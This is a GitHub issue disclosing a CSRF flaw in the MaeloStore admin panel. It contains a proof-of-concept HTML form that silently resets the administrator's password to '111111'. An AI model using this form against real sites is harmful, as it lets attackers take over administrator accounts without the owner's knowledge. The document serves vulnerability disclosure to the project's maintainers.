Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Here is a CSRF vulnerability that can change administrator password. #1

Open
K1ns0 opened this issue Aug 11, 2018 · 0 comments
Open

Comments

@K1ns0
Copy link

K1ns0 commented Aug 11, 2018

1.There is a CSRF vulnerability that can change administrator password via admin/media.php?module=users&aksi=edit&id=admin

Suppose the administrator`s account is admin

poc:

test.html----change the administrator password

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.98.95/MaeloStore-master/admin/modul/users/aksi_users.php?act=update" method="POST">
      <input type="hidden" name="id" value="admin" />
      <input type="hidden" name="nama&#95;lengkap" value="Administrator" />
      <input type="hidden" name="email" value="admin&#64;domain&#46;com" />
      <input type="hidden" name="no&#95;telp" value="081268655855" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="pass&#95;baru" value="111111" />
      <input type="hidden" name="pass&#95;ulangi" value="111111" />
      <input type="hidden" name="blokir" value="N" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant